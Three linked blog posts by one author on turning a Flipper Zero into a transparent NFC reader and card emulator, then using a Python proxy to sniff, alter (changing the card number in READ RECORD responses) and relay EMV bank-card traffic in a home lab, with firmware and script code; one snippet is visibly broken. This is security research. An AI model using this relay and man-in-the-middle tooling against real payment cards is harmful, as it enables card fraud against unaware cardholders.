DEV Community: Guillaume VINET

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Guillaume VINET — Thu, 12 Dec 2024 22:06:34 +0000

In our previous post, we explored how the Flipper can function as both an NFC contactless card reader and an NFC card emulator. When we combine these two functionalities, a range of potential attack scenarios on card-reader transactions comes to light:

Is it possible to sniff the communication?, meaning intercepting and monitoring data exchanged between two devices without altering it
Can a man-in-the-middle (MitM) attack be performed? Specifically, could we intercept and alter the communication between the card and the reader, injecting or modifying data in real time?
Is my card vulnerable to a relay attack? One attacker, positioned near the card, communicate with it and relays the commands/responses to an accomplice near the reader, resulting in tricking the reader into processing a transaction as if the card were present. This enables unauthorized transactions, even if the card is not at all close to the terminal.

In this post, we will address these three questions in detail.

1- What we want to achieve?

The diagram above (available in higher quality here) illustrates the setup we aim to establish for testing the various attacks described earlier.

There is A phone with an application that is intended to read data from a bank card.
The phone communicates with the Flipper Zero, which operates in card emulation mode.
The Flipper Zero is connected to a PC, which forwards the received commands to a PC/SC reader connected to it.
The PC/SC reader sends the commands to the real bank card.
The real card processes the commands and responds, with the responses traveling back the same way: through the PC/SC reader, the PC, and finally to the phone.
Meanwhile, our Python script running on the PC intercepts these commands and responses, allowing for real-time modifications to the data as it passes through.

Previously, we offloaded all the data processing logic to a Python script running outside the Flipper. This approach eliminates the need to update or upload new firmware whenever we want to make changes. However, a question arises: will this Python proxy introduce latency that could disrupt the communication and cause it to fail?

Before answering this question, let's take a look at the Python scripts we will use to set up this configuration.

2 - Python scripts preparation

In the previous blog post, we covered the two main components of this setup:

Emulating a card using a Flipper Zero.
Using a PC/SC reader to communicate with a card.

Now, it's simply a matter of linking the two together. What exactly are we talking about?

When the Flipper detects a field, the reader must power up the card.
Conversely, when the Flipper detects the field has been turned off, the reader must cut the power to the card.
The Flipper is responsible for managing TPDU communication. This is because a PC/SC reader only handles commands at the TPDU level:
- Once the Flipper receives a complete APDU, it sends it to the reader.
- The reader forwards the command to the actual card and then relays the card's response back to the Flipper.
- The Flipper processes this response and transmits it in TPDU format.

These requirements for the reader led to the creation of the abstract Reader class, described below. Additionally, we introduced a method to establish a connection with the reader.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass

Next, we create a minimalist PCSCReader class below to interact with a PC/SC reader.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

Now, we can move on to the implementation of the card emulator, referred to as Emu, as shown below. It accepts an optional Reader object as a parameter. If provided, it establishes a connection with the reader.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()

Next, we define three methods to communicate events to the reader: turning the field off, turning the field on, and sending an APDU.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)

Next, we improved the method responsible for managing card emulator command communication at the TPDU level. Notably, when a complete APDU command is received, the process_apdu method is called to forward it to the reader and retrieve the response from the actual card.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)

Finally, we implement the method used to initiate card emulation from the Flipper Zero.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

The Python scripts are ready; now let's take a look at the hardware setup we will use to test them.

3 - Experiment conducted in our garage

Below is our small replication of an attack environment. From left to right, we have:

An Android phone running an application for reading NFC banking cards. In our case, it's NFC-EMV-Reader (available at GitHub - NFC-EMV-Reader). While somewhat outdated, it works perfectly for demonstration purposes. This device simulates a terminal attempting to communicate with an NFC card. It is not connected to any other device.
The Flipper Zero, which acts as the NFC card emulator. It is connected to a computer (not visible in the image).
The PC/SC reader, also connected to the computer.
The actual NFC banking card, representing the real card being targeted in this setup.

Perfect, we now have all the necessary components to carry out the attacks! Let's fight!

4 - Communication sniffing

We can first attempt sniffing, meaning the APDU commands/responses from the Flipper are forwarded to the card, without any modification.

This works perfectly and remains stable, with the Python code acting as an intermediary having no noticeable impact! If the Python proxy adds too much latency and the terminal starts whining about the card being too slow, we’ve got a fix for that. Something I haven’t gotten around to implementing (yet):

It’s a TPDU command called a Wait-Time Extension (WTX).
The card sends this command when it needs extra time to perform a resource-intensive operation, such as cryptography.
The reader interprets this as a signal that the card is still processing, and the terminal responds with an acknowledgment.
In theory, the card can send as many WTX commands as it wants.

Below is an extract of a log.

the card has been powered on (field off/field on)
The terminal attempts to select the card application using an APDU SELECT command: 00a4040007d276000085010100. Here, the application identifier (commonly named AID) is d2760000850101. When reviewing the list of card AIDs on EFTLab's comprehensive AID database, we find that this AID corresponds to a German NDEF Tag Application, implemented on an NXP chip.
This application is not present on the card, so the card responds with the two-byte status word 6A82, indicating that it does not recognize the requested application.

field off
tpdu < on
field on
tpdu < E0803173
>>> rtdpu 0A788082022063CBA3A0

tpdu < 0200A4040007D27600008501010035C0
i block
apdu cmd: 00a4040007d276000085010100
apdu resp: 6a82
>>> rtdpu 036a82

In fact,a card can have hundreds of different applications installed on it, each with its own unique AID. A terminal does not attempt to try them all one by one. This is why, in the contactless banking domain, there is a specific application present on all cards designed to indicate the banking applications available on the card. Its AID is 325041592e5359532e4444463031, which translates to ASCII as 2PAY.SYS.DDF01.

Later in the communication, we can see this application being called (as shown below). Therefore, the previous selection of the application with AID D2760000850101, as discussed earlier, seems unusual.

tpdu < 0200A404000E325041592E5359532E444446303100E042
i block
apdu cmd: 00a404000e325041592e5359532e444446303100
apdu resp: 6f57840e325041592e5359532e4444463031a545bf0c42611b4f07a0000000421010500243428701019f2808400200000000000061234f07a0000000041010500a4d4153544552434152448701029f280840002000000000009000
>>> rtdpu 126f57840e325041592e5359532e444446

When parsing the response, you can see that it indicates (among other details) the presence of an application with the AID A0000000041010, which corresponds to MasterCard.

Thus, the phone eventually selects this application.

Afterward, it retrieves various details from the card, including the Primary Account Number (PAN). The number displayed on the card matches the one shown on the terminal, confirming that our relay attack, which relies on simple sniffing, is successful!

Of course, tools like the Proxmark make sniffing much simpler, but why make it simple when you can make it complicated ;) ?

5 - Man-in-the-middle

Now, let’s move on to the man-in-the-middle attack. This means we won’t just listen to the communication but actively alter it. One interesting use case could be modifying the card number, for instance, changing 5132 to 6132.

Referring back to the logs from our previous communication, we can see that these data are transmitted in plaintext. They are retrieved from the card using READ RECORD commands like 00B2010C00 and 00B2011400.

Since the data is unencrypted and lacks integrity protection, we can modify them as desired. To implement this, we simply update the process_apdu method in our PCSCReader class to handle the alteration.

# class Emu(Iso14443ASession):
    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")

        if data.hex() == "00b2010c00":
            # Thankfully, the bank card has been expired for 10 years :)
            resp = bytes.fromhex("... 6132...")
        elif data.hex() == "00b2011400":
            # Thankfully, the bank card has been expired for 10 years :)
            resp = bytes.fromhex(
                "...6132...6132...")
        else:
            data, sw1, sw2 = self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp

And as shown in the image below, the application is completely unaware of the modification!

Why it works? The answer is in the image below describing the different communication layers:

At the bottom, the underlying technology, ISO-14443, handles the physical layer communication. The flipper zero exchanges the data according to this specification.
Then, we have the TPDUs. Data is exchanged in TPDUs, protected by a public CRC only for integrity. Finally, we have the APDU layer, which consists of the commands and responses from the card application. There are three possible levels of protection:
1. No Protection: Commands and responses have neither integrity nor confidentiality safeguards. This is the case in our setup, making it very easy to modify the communication.
2. Partial Encryption: Either the command or the response is partially encrypted. This is seen in some NFC banking commands, where a cryptogram is included to validate the communication's authenticity.
3. Full Encryption: Both the command and response are fully encrypted, providing complete protection. However, this is not implemented in EMV cards.

We can also have some fun... Since I made the modifications hastily, I occasionally altered the data randomly. In one instance, as shown in the image below, this caused the application to display a massive block of characters for the card number, even though it’s supposed to be limited to 16 digits!

This opens up some interesting possibilities for fuzzing experiments.

6 - Relay attack

As mentioned at the start of this blog post, a relay attack consists in intercepting and relays communication between two parties (e.g., an NFC card and a terminal) without altering it, tricking the terminal into believing it is communicating with the legitimate card in real time.

A hacker wants to make a payment on Terminal. He relay the terminal's communication to an accomplice near a victim, who then communicates with the victim's card without his knowledge.

The previous experiment demonstrated that this attack is feasible in a controlled environment, like a garage. However, in real-world scenarios, there are additional challenges to consider.

Close Proximity Required: Attackers must stay near the card. So, during COVID, with social distancing, it was super convenient, obviously.
Accomplice at POS: A second person is needed near the terminal.
Low-Latency & reliable Communication: Delays in relaying signals can lead to failure, and reliable communication is critical for success. To address these challenges, another type of attack can be used: the replay attack.
- The attacker communicates with the victim's card as though they are the legitimate terminal, recording the card's response.
- The attacker then replays the recorded response to the terminal.
- While the use of random data in the terminal's commands can prevent replay attacks, randomness is sometimes less robust than it appears. However, exploring this vulnerability is beyond the scope of this blog.

One of the primary countermeasures against relay attacks is measuring the timing of the communication, as the relay introduces noticeable delays. However, the older EMV protocol does not include commands to facilitate such timing checks.

Conclusion

We've reached the end of this blog post. I hope you enjoyed the content! The Python code and the modified Flipper Zero firmware are available on my GitHub.

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

Flipper Zero NFC Hacking - cannon fooder

Guillaume VINET — Tue, 22 Oct 2024 23:43:18 +0000

In a previous post, we saw how to implement a transparent reader with the Flipper Zero. What if we take the same concept but this time to implement a transparent card emulator? We could use our Flipper Zero like a cannon to attack digital fortresses, such as readers or smartphones, by sending erroneous requests. Malformed commands, commands not expected in the lifecycle, fuzzing, buffer overflow—the sky is the limit!

1 - Context

Just like with the transparent card reader, I want to communicate with the Flipper using its serial CLI from my computer. The computer handles all the logic, meaning it decides what response to give depending on the command, using a Python script, for example.

Now, regarding the implementation of the card emulator commands, it's essentially a kind of mirror mode compared to the reader:

We need to detect when the RF field is activated by the terminal.
We need to detect when the RF field is deactivated by the terminal.
We need to be able to receive/send bits to the terminal.
We need to be able to receive/send bytes to the terminal.

Except there's a small detail that complicates things. Remember that during card/reader communication, it's the reader that acts as the master, meaning it's the one that initiates communication and sends commands.

So, if we're creating a card emulator, it must be waiting for events from the reader. You can think of it like a server, with the reader acting as the client. We'll need to code this into the Flipper Zero.

Alright, first of all, let’s do a quick recap of the communication exchanges between a reader and a card using ISO 14443-A.

2 - Communication exchanges between a reader and a card using ISO 14443-A

Here is a diagram that summarizes the main exchanges between a reader and a card communicating via ISO 14443-A.

+----------------+                                  +----------------+
|   Reader       |                                  |   Card         |
+----------------+                                  +----------------+
        |                                                  |
    Field activation                                       |
        |                                                  |
        | --- REQA (Request Command Type A) -------------> |
        |                   26                             |
        |                                                  |
        | <------------ ATQA (Answer to Request Type A) ---|
        | 04 00
        |                                                  |
        | --- ANTICOLLISION Command ---------------------->|
        |                                                  |
        | <------------ UID (Unique Identifier) -----------|
        |                                                  |
        | --- SELECT [UID] Command ----------------------->|
        |                                                  |
        | <------------ SAK (Select Acknowledge) ----------|
        |                                                  |
        | --- RATS (Request for Answer To Select) -------->|
        | E0 50 BC A5                                      |
        |                                                  |
        | <------------ ATS (Answer To Select) ------------|
        | 0A 78 80 82 02 20 63 CB   A3 A0 92 43            |
        |                                                  |
        | ---- [Opt] PPS (Proto and Parameter Selection) ->|    
        | D0 73 87                                         |
        |                                                  |
        | <------------ [PPS Response] --------------------|
        | D0 73 87                                         |
        |                                                  |
        | --- TPDU [Encapsulated APDU Command] ----------->|
        | 0200A404000E325041592E5359532E444446303100E042   |
        |                                                  |
        | <------------ TPDU [Encapsulated APDU Response] -|
        | 00a404000e325041592e5359532e444446303100         |

Now the question is, "How do we implement all of this on the Flipper?"

4 - Flipper Zero implementation

As in my previous article, I will continue to expand the file applications/main/nfc/nfc_cli.c (see the file on my branch ).

First, a quick hardware point. For NFC management, the Flipper Zero uses the ST25R3916 chip. This is great because it allows us to create both a contactless reader and a card emulator. The chip automatically handles sending the commands involved from field activation to anticollision. All we need to do is specify the ATQA, SAK, UID, and its length that we want to send back.

The Flipper provides the function furi_hal_nfc_iso14443a_listener_set_col_res_data to handle all of this.

That's why I added 3 commands to the Flipper's NFC CLI to configure these elements:

set_atqa
set_sak
set_uid

And just before starting the emulation, we'll call furi_hal_nfc_iso14443a_listener_set_col_res_data with these parameters.

    if(g_NfcTech == FuriHalNfcTechIso14443a) {
        furi_hal_nfc_iso14443a_listener_set_col_res_data(g_uid, g_uid_len, g_atqa, g_sak);
        fdt = ISO14443_3A_FDT_LISTEN_FC;
    }

Next, setting the Flipper Zero to card emulator mode is done using the function furi_hal_nfc_set_mode. This time, we specify the mode FuriHalNfcModeListener, and for the technologies, we use the standard values: FuriHalNfcTechIso14443a, FuriHalNfcTechIso14443b, and FuriHalNfcTechIso15693.

Finally, to start the emulation, I implemented the command run_emu, which will initiate an infinite loop waiting for a nearby reader. Event monitoring is handled by the function furi_hal_nfc_listener_wait_event.

FuriHalNfcEvent event = furi_hal_nfc_listener_wait_event(100);

Next, the event can take several values depending on what has been detected:

FuriHalNfcEventFieldOn indicates that a field activation has been detected.
FuriHalNfcEventFieldOff indicates that the field has been turned off.
The most important event is FuriHalNfcEventRxEnd, which indicates that a command from the terminal has been received. At this point, we need to send our response. Again, it's important to note that all the handling of command sending, up to and including anticollision, is done automatically. So, we can basically start processing a command like select, for example.

    while(true) {
        FuriHalNfcEvent event = furi_hal_nfc_listener_wait_event(100);
        if(event == FuriHalNfcEventTimeout) {
            if(cli_cmd_interrupt_received(cli)) {
                break;
            }
        }
        if(event & FuriHalNfcEventAbortRequest) {
            break;
        }
        if(event & FuriHalNfcEventFieldOn) {
            printf("on\r\n");
        }
        if(event & FuriHalNfcEventFieldOff) {
            furi_hal_nfc_listener_idle();
            printf("off\r\n");
        }
        if(event & FuriHalNfcEventListenerActive) {
            // Nothing
        }
        if(event & FuriHalNfcEventRxEnd) {

5 - Handling the reception of the command and sending the response

Now, let's see how to handle the reception of the command and sending the response.

        if(event & FuriHalNfcEventRxEnd) {
            furi_hal_nfc_timer_block_tx_start(fdt);

            rx_bits = 0;
            furi_hal_nfc_listener_rx(rx_data, rx_data_size, &rx_bits);
            if((rx_bits / 8) != 0) {
                for(size_t i = 0; i < (rx_bits / 8); i++) {
                    printf("%02X", rx_data[i]);
                }
                printf("\r\n");

                if(nfc_emu_get_resp(cli, rx_cmd))
                    break;
                }
                while(furi_hal_nfc_timer_block_tx_is_running()) {
                }
                FuriHalNfcError r = furi_hal_nfc_listener_tx(rx_data, bit_buffer_get_size(rx_cmd));
                if(r != FuriHalNfcErrorNone) {
                    printf("error\r\n");
                }
            }

Data reception is handled via furi_hal_nfc_listener_rx(rx_data, rx_data_size, &rx_bits);. We display the received data using a printf, which sends the response to the terminal connected to the Flipper. An important thing to understand is that as soon as we receive the command, we must respond very quickly. This means we cannot manually write the response in the shell—it will be too late. This is why the only way to communicate with the Flipper is by using a Python script with a dispatcher that specifies which response to give for each received command.
Then, the terminal sends a response that we retrieve using the function nfc_emu_get_resp(cli, rx_cmd). This part is a bit tricky because, in a shell command, you don’t typically have a back-and-forth exchange. So, I use the function cli_getc(cli) to read a character.
- Sometimes, I get an unwanted character 0xA. If it's the first character received, I skip it, as I read character by character.
- The first character indicates whether the Flipper Zero should calculate and add the CRC to the command itself (0x31 means yes, otherwise no).
- Then, I read the characters of the response in hexadecimal string format. When we receive the character 0xA, it indicates the reception is complete.
Finally, we convert the hexadecimal string into a uint8_t array using unhexify(tmp, (uint8_t*)bit_buffer_get_data(rx_data), len);.
If necessary, we add a CRC using add_crc.
Lastly, we can send the response to the reader using:

FuriHalNfcError r = furi_hal_nfc_listener_tx(rx_data, bit_buffer_get_size(rx_cmd));.

And now, how do we go about validating all of this?

6 - Card emulation validation

6.1 - How it started ... (Hydra NFC v2)

Well, we could use our transparent reader from the previous post to validate our emulator. So, we would need two Flipper Zeros... which I don’t have. However, I do have a Hydra NFC v2, which allows for a transparent reader setup.

I just need to use a script from pynfc.

import time
from pynfcreader.devices.hydra_nfc_v2 import HydraNFCv2
from pynfcreader.sessions.iso14443.iso14443a import Iso14443ASession

hydra_nfc = HydraNFCv2(port="", debug=False)
hn = Iso14443ASession(drv=hydra_nfc, block_size=120)

hn.connect()
hn.field_off()
time.sleep(0.1)
hn.field_on()
time.sleep(0.1)
hn.polling()
#
hn._send_tpdu(bytes.fromhex("00 A4 04 00 0E 32 50 41   59 2E 53 59 53 2E 44 44 46 30 31 00"))

It’s very practical because it allows us to send commands one by one to validate everything:

Sending the REQA
Anticollision
Select
PPS
Sending a TPDU

6.2 - How it finished... (PC/SC reader).

However, in reality, communications are a bit more complicated. So, I used a PC/SC reader, the ACR122U, to send/receive a full APDU command, in combination with a Python script (using pyscard ) to make a real-world test.

In my case, I simply select the PPSE application.

import sys
from smartcard.System import readers
from smartcard.Exceptions import NoCardException
from smartcard.util import toHexString

# APDU SELECT PPSE command
SELECT_PPSE = [0x00, 0xA4, 0x04, 0x00, 0x0E, 0x32, 0x50, 0x41, 0x59, 0x2E, 0x53, 0x59, 0x53, 0x2E, 0x44, 0x44, 0x46,
               0x30, 0x31, 0x00]


def send_select_ppse():
    # Get the list of available card readers
    available_readers = readers()

    if len(available_readers) == 0:
        print("No card reader available.")
        sys.exit(1)

    # Use the first reader found
    reader = available_readers[0]
    print(f"Reader found: {reader}")

    # Connect to the card
    connection = reader.createConnection()

    try:
        connection.connect()

        atr = connection.getATR()  # Get the ATR
        atr_hex = ' '.join(f'{byte:02X}' for byte in atr)  # Convert the ATR to hexadecimal
        print(f"ATR: {atr_hex}")

        # Send the SELECT PPSE command
        print(f"Sending APDU SELECT PPSE command: {toHexString(SELECT_PPSE)}")
        response, sw1, sw2 = connection.transmit(SELECT_PPSE)

        # Display the card's response
        print(f"Response: {toHexString(response)}")
        print(f"Status: {sw1:02X} {sw2:02X}")

    except NoCardException:
        print("No card was detected.")
        sys.exit(1)


if __name__ == "__main__":
    send_select_ppse()

So now, the card emulator needs to handle many more events. Therefore, I created a Python script below to manage this case. There’s a lot to explain, such as the different types of TPDU (i-block, r-block, s-block), but that will be in a future blog post.

import time
from pynfcreader.sessions.iso14443.tpdu import Tpdu
from pynfcreader.devices import flipper_zero
from pynfcreader.sessions.iso14443.iso14443a import Iso14443ASession

fz = flipper_zero.FlipperZero("", debug=False)

fz.connect()
fz.set_mode_emu_iso14443A()

def process_apdu(cmd: str):
    print(f"apdu {cmd}")
    if cmd == "00a404000e325041592e5359532e444446303100":
        rapdu = "6F57840E325041592E5359532E4444463031A545BF0C42611B4F07A0000000421010500243428701019F2808400200000000000061234F07A0000000041010500A4D4153544552434152448701029F280840002000000000009000"
    else:
        rapdu = "6F00"
    return rapdu

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function

    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                print("field off")
            elif r == "on":
                print("field on")
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    print("r block")
                    if r == "BA00BED9":
                        rtpdu, crc = "BA00", True
                    elif r[0:2] in ["A2", "A3", "B2", "B3"]:
                        rtpdu, crc = iblock_resp_lst.pop(0).hex(), True
                elif tpdu.s:
                    print("s block")
                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.get_inf_field()

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu.hex())
                        capdu = bytes()
                        iblock_resp_lst = self.chaining_iblock(data=bytes.fromhex(rapdu))
                        rtpdu, crc = iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(rtpdu.encode(), crc)


emu = Emu(drv=fz, process_function=process_apdu)
emu.run()

With this, it works very well, and the emulation is extremely stable. I can place or remove the Flipper from the reader and send the commands multiple times, and it works every time. Once again, the Flipper has an excellent implementation of its NFC layer, and its API allows for a lot of functionality with minimal effort in the implementation.

Below, you have a sample of the output from the Python script.

...go!
tpdu < off
field off
tpdu < on
field on
tpdu < E050BCA5
>>> rtdpu 0A788082022063CBA3A0

tpdu < BA00BED9
r block
>>> rtdpu BA00

tpdu < BA00BED9
r block
>>> rtdpu BA00

tpdu < BA00BED9
r block
>>> rtdpu BA00

tpdu < BA00BED9
r block
>>> rtdpu BA00

tpdu < 0200A404000E325041592E5359532E444446303100E042
i block
apdu 00a404000e325041592e5359532e444446303100
>>> rtdpu 126f57840e325041592e5359532e444446

tpdu < A36FC6
r block
>>> rtdpu 133031a545bf0c42611b4f07a000000042

tpdu < A2E6D7
r block
>>> rtdpu 121010500243428701019f280840020000

tpdu < A36FC6
r block
>>> rtdpu 130000000061234f07a000000004101050

tpdu < A2E6D7
r block
>>> rtdpu 120a4d4153544552434152448701029f28

tpdu < A36FC6
r block
>>> rtdpu 030840002000000000009000

tpdu < BA00BED9
r block
>>> rtdpu BA00

6.3 A little bit of Proxmark as well

Using the Proxmark 3 was useful for debugging communication in sniffing mode: I placed it between the reader and the card (which could be a genuine card or the Flipper), and I was able to check the data exchanges.

# sniffing
hf 14a sniff  
# Exchange decoding
hf list

What's next?

Good, what's next?

First, I could give more explanations about the card emulation Python script.
Also, I should implement a way to stop the card emulation when a button is pressed, because currently the event-waiting loop never finishes. The only way to exit is to restart the Flipper.
Also, we could do some fun stuff by using both a transparent reader and a card emulator at the same time, for instance, to perform a man-in-the-middle attack and modify the communication live!

Hacking NFC communication protocol with Flipper Zero

Guillaume VINET — Wed, 02 Oct 2024 23:31:25 +0000

When dealing with an NFC card, one might want to attack it with fuzzing by using a card reader to target its communication protocol:

Sending well-formatted commands, but at unexpected times
Sending poorly formatted commands, such as introducing inconsistencies between the field indicating the command size and the command itself.
Mixing both scenarios

But are you sure that the malformed command will actually be received by the card? And if it is, will you be able to capture the card's unusual response?

The problem between your command and its reception by the card lies in the multiple layers it must pass through:

Your PC software might reject the command before it even reaches the reader.
Or it could be the reader's firmware that refuses to send the command.

That's why we need a "transparent reader" – something that performs the absolute minimum interaction between the two.

Now the question is: how do we do it?

For a long time, finding a contactless reader capable of this kind of task either came with many limitations or was extremely expensive. But nowadays, there’s a wealth of affordable and open-source hacking tools that address this issue. Examples include the Proxmark, Chameleon Mini, Hydra NFC v1 & v2, and one of the latest additions, the Flipper Zero.

A while back, I contributed to adding a transparent reader mode to the Hydra NFC’s code.

My requirements were straightforward:

I communicated with the Hydra via serial.
I implemented the basic commands needed for contactless card communication:
- Activating the RF field
- Deactivating the RF field
- Sending bits to the card
- Sending bytes to the card
- Selecting the communication type to emulate, like ISO 15693 or ISO 14443A/B for MIFARE, bank cards, or electronic passports.

After that, I developed a small Python library that could send commands, such as APDUs, to bank cards.

Here, we're talking about the classic scenario of conducting garage-based attacks on cards or any system emulating cards, using the Flipper Zero connected to a PC. With the simplicity of Python, you can quickly develop scripts and leverage a vast range of open-source libraries to target many contactless card applications. You can easily perform fuzzing, analyze your findings, and, in the next phase, try to hard-code it into a portable attack system.

Since I recently got a Flipper Zero, I was curious about the effort needed to pull this off and also wanted an excuse to start coding on the device (all this introduction just for that...).

I started with the code from the official GitHub repository because it was sufficient for what I needed to accomplish. Of course, I also explored unofficial firmware like Flipper Zero Xtreme (archived since July 28), Flipper Zero Momentum, and Rogue Master.

The Flipper Zero offers great ease of use; once you’ve cloned the repository, it takes just two commands to compile the code and flash it onto the device.

./fbt
./fbt flash

ufbt provides access to the Flipper Zero’s shell, and among the various menus, there’s one specifically for NFC.

./ufbt cli
[...]
>: help
Commands available:
!                             js
?                             led
bt                            loader
crypto                        log
date                          nfc
device_info                   onewire
factory_reset                 power
free                          rfid
free_blocks                   start_rpc_session
gpio                          storage
help                          subghz
i2c                           sysctl
ikey                          top
info                          update
input                         uptime
ir                            vibro

At this point, the question arises: how do you modify the firmware? The first solution is to create applications, specifically Flipper Application Packages (FAP). These allow you to add new features without altering the OS, as they are installed directly on the SD card. There’s even a store available on the Flipper Lab for this purpose.

I considered starting with that approach, but I chose to modify the OS instead, specifically the code implementing the NFC shell, since the communication between the PC and the Flipper was already handled. Looking at the code, you can see that adding a shell menu is done through cli_add_command.

The code above is extracted from the applications/main/nfc/nfc_cli.c file and demonstrates how this function is used. The fourth parameter specifies who will implement the shell. By examining the cli_add_command function, you can also see how the other shells are implemented, which helps in understanding how to process the received commands.

cli_add_command(cli, "nfc", CliCommandFlagDefault, nfc_cli, NULL);

As you can see below, nfc_cli.c implements very few commands... almost none, in fact, if you don’t enable debug mode on the Flipper (you need to go to Settings, System, and set Debug to On), as the function furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug) will return false otherwise.

static void nfc_cli_print_usage(void) {
    printf("Usage:\r\n");
    printf("nfc <cmd>\r\n");
    printf("Cmd list:\r\n");
    if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
        printf("\tfield\t - turn field on\r\n");
    }
}

If we look back at some earlier commits (see image below), such as the one from October 24, 2023, it could do much more, like send APDU commands or emulate a card.

However, this is still too high-level for what I want to achieve.

The solution lies in the applications/main/nfc/scenes directory, which contains the default embedded NFC applications. By examining these, you’ll find a very useful low-level API defined in targets/furi_hal_include/furi_hal_nfc.h that will suit our needs perfectly.

Let's see how to implement our transparent reader!

In general, using the main functions of this API must be enclosed by functions that lock the use of the NFC hardware layer (as shown below).

    // Check if nfc worker is not busy
    if (furi_hal_nfc_is_hal_ready() != FuriHalNfcErrorNone) {
        printf("Error. NFC chip failed to start\r\n");
        return;
    }

    furi_hal_nfc_acquire();

    // Things to implement
    // ...

    furi_hal_nfc_release();

To turn the power on, simply use nfc_low_power_mode_stop(), and to turn it off, use nfc_low_power_mode_start().

The protocol configuration is done using furi_hal_nfc_set_mode. The FuriHalNfcTech enumeration lists the available modes (see below).

typedef enum {
    FuriHalNfcTechIso14443a, /**< Configure NFC HAL to use the ISO14443 (type A) technology. */
    FuriHalNfcTechIso14443b, /**< Configure NFC HAL to use the ISO14443 (type B) technology. */
    FuriHalNfcTechIso15693, /**< Configure NFC HAL to use the ISO15693 technology. */
    FuriHalNfcTechFelica, /**< Configure NFC HAL to use the FeliCa technology. */

    FuriHalNfcTechNum, /**< Special value equal to the supported technologies count. Internal use. */
    FuriHalNfcTechInvalid, /**< Special value indicating the unconfigured state. Internal use. */
} FuriHalNfcTech;

furi_hal_nfc_set_mode(FuriHalNfcModePoller, NfcTech);

Sending bits or bytes is a three-step process:

Use the furi_hal_nfc_poller_tx function to send the data, specifying the size in bits.
Wait for the command to be sent and the response to be received using furi_hal_nfc_wait_event_common.
Finally, use furi_hal_nfc_poller_rx to read the data.

For sending bytes, the code example is shown below.

    furi_hal_nfc_poller_tx(data, bit_buffer_get_size(cmd));

    while (timeout_ms > 0) {
        event = furi_hal_nfc_wait_event_common(10);
#ifdef NFC_CLI_VERBOSE
        printf("\t->wait 0x%X\n", event);
#endif // NFC_CLI_VERBOSE
        timeout_ms -= 10;
        if (event & FuriHalNfcEventRxEnd) {
            break;
        }
    }
